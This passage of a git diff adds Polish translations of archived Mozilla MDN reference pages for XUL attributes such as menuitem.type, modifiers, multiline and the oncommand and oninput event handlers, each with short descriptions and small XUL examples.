+ Typ:
+ <i>
+ nazwa jako łańcuch znaków</i>
+ </dd>
+ <dd>
+ Opcja <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> z tą samą nazwą umieszczona w jednej grupie. Tylko jedna pozycja <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> w każdej grupie opcji, może być zaznaczona w tym samym czasie.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+ <pre>&lt;toolbox&gt;
+ &lt;menubar id="planets-menubar"&gt;
+ &lt;menu id="planet-menu" label="Planet"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem id="jupiter" label="Jupiter" type="radio" name="planet"/&gt;
+ &lt;menuitem id="saturn" label="Saturn" type="radio" name="planet" checked="true"/&gt;
+ &lt;menuitem id="uranus" label="Uranus" type="radio" name="planet"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <p><a href="pl/XUL/Atrybut/name">name</a> i <a href="pl/Kurs_XUL/Dodatkowe_mo%c5%bcliwo%c5%9bci_menu#Adding_Checkmarks_to_Menus">menu w kursie XUL</a></p>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/menuitem.type/index.html b/files/pl/mozilla/tech/xul/atrybut/menuitem.type/index.html
new file mode 100644
index 0000000000..0dac8bfe49
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/menuitem.type/index.html
@@ -0,0 +1,27 @@
+---
+title: menuitem.type
+slug: Mozilla/Tech/XUL/Atrybut/menuitem.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/menuitem.type
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/menuitem.type">type</a></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Może zostać użyta do tworzenia pozycji wielokrotnego (pole wyboru) lub pojedynczego wyboru (przycisk opcji) menu.</dd>
+</dl>
+<ul>
+ <li><code>checkbox</code>: <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> jest zaznaczony. Atrybut <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code> określa gdzie pozycja menu jest wybrana, a gdzie nie.</li>
+ <li><code>radio</code>: <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> staje się częścią grupy przycisków opcji (radio). Inne pozycje menu, które mają tą samą wartość dla ich atrybutu <code id="a-name"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/name">name</a></code> są częścią tej samej grupy <code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code>. Tylko jedna pozycja menu w tej samej grupie może być zaznaczona.</li>
+</ul>
+<p><br>
+ Więcej informacji na temat dodawania pozycji opcji menu znajduje się w <a href="pl/Kurs_XUL/Dodatkowe_mo%c5%bcliwo%c5%9bci_menu#Adding_Checkmarks_to_Menus">kursie XUL</a></p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/min/index.html b/files/pl/mozilla/tech/xul/atrybut/min/index.html
new file mode 100644
index 0000000000..79e960bcbd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/min/index.html
@@ -0,0 +1,14 @@
+---
+title: min
+slug: Mozilla/Tech/XUL/Atrybut/min
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/min
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-min"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/min">min</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Wartość minimalna, która może być ustawiona na skali. Domyślną wartością jest 0. </dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/minheight/index.html b/files/pl/mozilla/tech/xul/atrybut/minheight/index.html
new file mode 100644
index 0000000000..188374a41a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/minheight/index.html
@@ -0,0 +1,17 @@
+---
+title: minheight
+slug: Mozilla/Tech/XUL/Atrybut/minheight
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/minheight
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>
+</dt><dd> Typ: <i>string</i> (reprezentujący integer)
+</dd><dd> Minimalna wysokość elementu. Przesyła własność CSS min-height.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/minresultsforpopup/index.html b/files/pl/mozilla/tech/xul/atrybut/minresultsforpopup/index.html
new file mode 100644
index 0000000000..a02d50d680
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/minresultsforpopup/index.html
@@ -0,0 +1,21 @@
+---
+title: minresultsforpopup
+slug: Mozilla/Tech/XUL/Atrybut/minresultsforpopup
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/minResultsForPopup
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-minresultsforpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minresultsforpopup">minresultsforpopup</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Minimalna liczba wyniku, która musi być zwrócona dla wyświetlonego okienka pop-up.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/minwidth/index.html b/files/pl/mozilla/tech/xul/atrybut/minwidth/index.html
new file mode 100644
index 0000000000..e48bda2812
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/minwidth/index.html
@@ -0,0 +1,21 @@
+---
+title: minwidth
+slug: Mozilla/Tech/XUL/Atrybut/minwidth
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/minwidth
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ (reprezentujący integer)</dd>
+ <dd>
+ Minimalna szerokość elementu. Jest przesyłana do własności CSS min-width.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/mode/index.html b/files/pl/mozilla/tech/xul/atrybut/mode/index.html
new file mode 100644
index 0000000000..9a245b32ea
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/mode/index.html
@@ -0,0 +1,14 @@
+---
+title: mode
+slug: Mozilla/Tech/XUL/Atrybut/mode
+translation_of: Archive/Mozilla/XUL/Attribute/mode
+---
+<div class="noinclude">
+ <h3 id="Zobacz" name="Zobacz">Zobacz</h3>
+ <ul>
+ <li><a href="pl/XUL/Atrybut/progressmeter.mode">progressmeter.mode</a></li>
+ <li><a href="pl/XUL/Atrybut/toolbar.mode">toolbar.mode</a></li>
+ <li><a href="pl/XUL/Atrybut/treecell.mode">treecell.mode</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/modifiers/index.html b/files/pl/mozilla/tech/xul/atrybut/modifiers/index.html
new file mode 100644
index 0000000000..ad5a648985
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/modifiers/index.html
@@ -0,0 +1,25 @@
+---
+title: modifiers
+slug: Mozilla/Tech/XUL/Atrybut/modifiers
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/modifiers
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-modifiers"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/modifiers">modifiers</a></code>
+</dt><dd> Typ: <i>oddzielona spacją lista wartości poniżej</i>
+</dd><dd> Lista klawiszy-modyfikatorów, które powinny być wciśnięte, aby wywołać dany skrót klawiatury. Jeśli klawiszy-modyfikatorów jest więcej niż jeden, należy je oddzielić spacjami lub przecinkami. Klawisze niedostępne na danej platformie będą mapowane na inne.
+</dd></dl>
+<ul><li> <code>shift</code>: Klawisz &lt;tt&gt;Shif&lt;/tt&gt;t.
+</li><li> <code>alt</code>: Klawisz &lt;tt&gt;Alt&lt;/tt&gt;. Na Macintoshu jest to klawisz &lt;tt&gt;Option&lt;/tt&gt;.
+</li><li> <code>meta</code>: Klawisz &lt;tt&gt;Meta&lt;/tt&gt;. Na Macintoshu jest to klawisz &lt;tt&gt;Command&lt;/tt&gt;.
+</li><li> <code>control</code>: Klawisz &lt;tt&gt;Control&lt;/tt&gt;.
+</li><li> <code>accel</code>: Klawisz zwykle używany dla skrótów na danej platformie. Zwykle właśnie tej wartości należy użyć.
+</li><li> <code>access</code>: Klawisz dostępu, zwykle używany do aktywowania menu i innych elementów. W Windows jest to klawisz Alt używany w połączeniu z klawiszem dostępu danego elementu.
+</li><li> <code>any</code>: Określa, że wszelkie poprzedzające go modyfikatory są opcjonalne.
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/multiline/index.html b/files/pl/mozilla/tech/xul/atrybut/multiline/index.html
new file mode 100644
index 0000000000..bd402ddbdf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/multiline/index.html
@@ -0,0 +1,21 @@
+---
+title: multiline
+slug: Mozilla/Tech/XUL/Atrybut/multiline
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/multiline
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-multiline"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/multiline">multiline</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli <code>true</code>, pole tekstowe wyświetla się w kilku liniach. Jeśli użytkownik naciśnie Enter, to zostanie przeniesiony do nowej lini. Jeśli <code>false</code> to pole tekstowe pozwala wpisać tekst tylko jedną linie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/name/index.html b/files/pl/mozilla/tech/xul/atrybut/name/index.html
new file mode 100644
index 0000000000..a7a6eab523
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/name/index.html
@@ -0,0 +1,14 @@
+---
+title: name
+slug: Mozilla/Tech/XUL/Atrybut/name
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/name
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/XUL/Atrybut/menuitem.name">menuitem.name</a>
+</li><li> <a href="pl/XUL/Atrybut/preference.name">preference.name</a>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/next/index.html b/files/pl/mozilla/tech/xul/atrybut/next/index.html
new file mode 100644
index 0000000000..643c0941ae
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/next/index.html
@@ -0,0 +1,17 @@
+---
+title: next
+slug: Mozilla/Tech/XUL/Atrybut/next
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/next
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-next"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/next">next</a></code>
+</dt><dd> Typ: <i>id łańcucha znaków <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+</dd><dd> Ustawia atrybut <code><code id="a-pageid"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pageid">pageid</a></code></code> następnej strony. Kiedy ustawia stronę z tym pageID to jest wyświetlana, kiedy przycisk &lt;tt&gt;Dalej&lt;/tt&gt; zostanie naciśnięty. Może być stosowany do tworzenia kreatorów, które nie mają liniową kolejność. Jeśli jedna ze stron posiada atrybut <code><code id="a-next"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/next">next</a></code></code>, wszystkie strony powinny mieć jeden taki atrybut, oprócz strony ostatniej.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/noautohide/index.html b/files/pl/mozilla/tech/xul/atrybut/noautohide/index.html
new file mode 100644
index 0000000000..ccbb691eea
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/noautohide/index.html
@@ -0,0 +1,15 @@
+---
+title: noautohide
+slug: Mozilla/Tech/XUL/Atrybut/noautohide
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/noautohide
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-noautohide"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/noautohide">noautohide</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ten atrybut jest ustawiony na <code>false</code> lub zostanie opuszczony, Element <code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code> będzie automatycznie wyświetlony po kilku sekundach. Jeśli jego atrybut jest ustawiony na <code>true</code>, to nic nie będzie się działo i porada będzie ukryta podczas przesunięcia kursora myszki nad kolejny element.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/nomatch/index.html b/files/pl/mozilla/tech/xul/atrybut/nomatch/index.html
new file mode 100644
index 0000000000..fe2f34540e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/nomatch/index.html
@@ -0,0 +1,21 @@
+---
+title: nomatch
+slug: Mozilla/Tech/XUL/Atrybut/nomatch
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/nomatch
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-nomatch"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/nomatch">nomatch</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ten atrybut będzie ustawiony na <code>true</code>, jeśli ostatni rezultat szukania nie jest dopasowany.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/object/index.html b/files/pl/mozilla/tech/xul/atrybut/object/index.html
new file mode 100644
index 0000000000..a657ab46b7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/object/index.html
@@ -0,0 +1,16 @@
+---
+title: object
+slug: Mozilla/Tech/XUL/Atrybut/object
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/object
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-object"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/object">object</a></code>
+</dt><dd> Obiekt elementu. Może być to odwołanie się do zmiennej i URI źródła RDF lub wartość literalna RDF.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/observes/index.html b/files/pl/mozilla/tech/xul/atrybut/observes/index.html
new file mode 100644
index 0000000000..404aa21f14
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/observes/index.html
@@ -0,0 +1,21 @@
+---
+title: observes
+slug: Mozilla/Tech/XUL/Atrybut/observes
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/observes
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu broadcaster</i>
+ </dd>
+ <dd>
+ Ustawia id elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code>, który jest obserwowany poprzez ten element. Jeśli atrybut zostanie zmieniony w rozgłaszaczu, to będzie on także zmieniony w obserwatorze.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onbeforeaccept/index.html b/files/pl/mozilla/tech/xul/atrybut/onbeforeaccept/index.html
new file mode 100644
index 0000000000..49b500b4bc
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onbeforeaccept/index.html
@@ -0,0 +1,21 @@
+---
+title: onbeforeaccept
+slug: Mozilla/Tech/XUL/Atrybut/onbeforeaccept
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onbeforeaccept
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onbeforeaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onbeforeaccept">onbeforeaccept</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ Kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w tym atrybucie jest wywołany kiedy przycisk OK zostaje naciśnięty lub kiedy wywołana zostaje metoda <span id="m-acceptDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/acceptDialog">acceptDialog</a></code></span>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onbookmarkgroup/index.html b/files/pl/mozilla/tech/xul/atrybut/onbookmarkgroup/index.html
new file mode 100644
index 0000000000..68fdaee7ee
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onbookmarkgroup/index.html
@@ -0,0 +1,17 @@
+---
+title: onbookmarkgroup
+slug: Mozilla/Tech/XUL/Atrybut/onbookmarkgroup
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/onbookmarkgroup
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code id="a-onbookmarkgroup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onbookmarkgroup">onbookmarkgroup</a></code></dt>
+ <dd><strong><span class="highlightred">Nie w Firefoksie</span></strong></dd>
+ <dd>Typ:<em>Kod skryptu</em></dd>
+ <dd>Ten kode zostanie wykony, kiedy użytkownik wybierze polecenie "Bookmark this Group of Tabs".</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onchange/index.html b/files/pl/mozilla/tech/xul/atrybut/onchange/index.html
new file mode 100644
index 0000000000..9a17a5bff2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onchange/index.html
@@ -0,0 +1,18 @@
+---
+title: onchange
+slug: Mozilla/Tech/XUL/Atrybut/onchange
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onchange
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-onchange"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onchange">onchange</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> Kod w atrybucie <code>onchange</code> jest wywołany, kiedy wartość elementu jest zmieniana.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onclosetab/index.html b/files/pl/mozilla/tech/xul/atrybut/onclosetab/index.html
new file mode 100644
index 0000000000..28d566c7d0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onclosetab/index.html
@@ -0,0 +1,21 @@
+---
+title: onclosetab
+slug: Mozilla/Tech/XUL/Atrybut/onclosetab
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onclosetab
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onclosetab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onclosetab">onclosetab</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten skrypt będzie wywoływany, kiedy przycisk zamknięcia karty jest naciśnięty.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/oncommand/index.html b/files/pl/mozilla/tech/xul/atrybut/oncommand/index.html
new file mode 100644
index 0000000000..97cf313780
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/oncommand/index.html
@@ -0,0 +1,21 @@
+---
+title: oncommand
+slug: Mozilla/Tech/XUL/Atrybut/oncommand
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/oncommand
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code>
+</dt><dd> Typ: <i>kod skrypt</i>
+</dd><dd> Ta funkcja obsługi zdarzenia jest wywołana w momencie aktywacji polecenia. Ma to miejsce, gdy użytkownik zaznaczy pozycję menu lub kiedy naciśnie skrót klawiaturowy przypisany do polecenia.
+</dd></dl>
+<div class="noinclude">
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<pre>&lt;button label="Naciśnij mnie" oncommand="alert('Cześć!')"/&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code>
+</p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/oncommandupdate/index.html b/files/pl/mozilla/tech/xul/atrybut/oncommandupdate/index.html
new file mode 100644
index 0000000000..6c008e8442
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/oncommandupdate/index.html
@@ -0,0 +1,17 @@
+---
+title: oncommandupdate
+slug: Mozilla/Tech/XUL/Atrybut/oncommandupdate
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/oncommandupdate
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-oncommandupdate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommandupdate">oncommandupdate</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> To zdarzenie ma miejsce w momencie aktualizacji polecenia. Można je stosować do aktualizacji stanu wyłączenia (<code>disabled</code>) danych pozycji.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onerror/index.html b/files/pl/mozilla/tech/xul/atrybut/onerror/index.html
new file mode 100644
index 0000000000..b7d7eeb479
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onerror/index.html
@@ -0,0 +1,21 @@
+---
+title: onerror
+slug: Mozilla/Tech/XUL/Atrybut/onerror
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onerror
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onerror"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onerror">onerror</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie jest przesyłane do elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/image" title="image">image</a></code> w momencie wystąpienia błędu podczas wczytywania obrazka.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/onerrorcommand/index.html b/files/pl/mozilla/tech/xul/atrybut/onerrorcommand/index.html
new file mode 100644
index 0000000000..d865461ede
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/onerrorcommand/index.html
@@ -0,0 +1,21 @@
+---
+title: onerrorcommand
+slug: Mozilla/Tech/XUL/Atrybut/onerrorcommand
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/onerrorcommand
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-onerrorcommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onerrorcommand">onerrorcommand</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten uchwyt zdarzenia jest wywołany kiedy ma miejsce błąd, kiedy zaznaczymy wynik z okienka dialogowego.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/oninput/index.html b/files/pl/mozilla/tech/xul/atrybut/oninput/index.html
new file mode 100644
index 0000000000..9443031a9e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/oninput/index.html
@@ -0,0 +1,26 @@
+---
+title: oninput
+slug: Mozilla/Tech/XUL/Atrybut/oninput
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/oninput
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-oninput"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oninput">oninput</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> To zdarzenie jest wysyłane, kiedy użytkownik wpisuje tekst w <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code>. To zdarzenie jest tylko wywoływane, kiedy wyświetlany tekst zostanie zmieniony, tak więc nie jest wykonywany kiedy użytkownik naciśnie nie możliwy do wyświetlenia klawisz. </dd></dl>
+<div class="noinclude">
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre>Ustawia tekst etykiety w polu tekstowym wciśnięty klawisz.
+&lt;script language="javascript"&gt;
+function setLabel(txtBox){
+ document.getElementById('lbl').value = txtBox.value;
+}
+&lt;/script&gt;
+&lt;label id="lbl"/&gt;
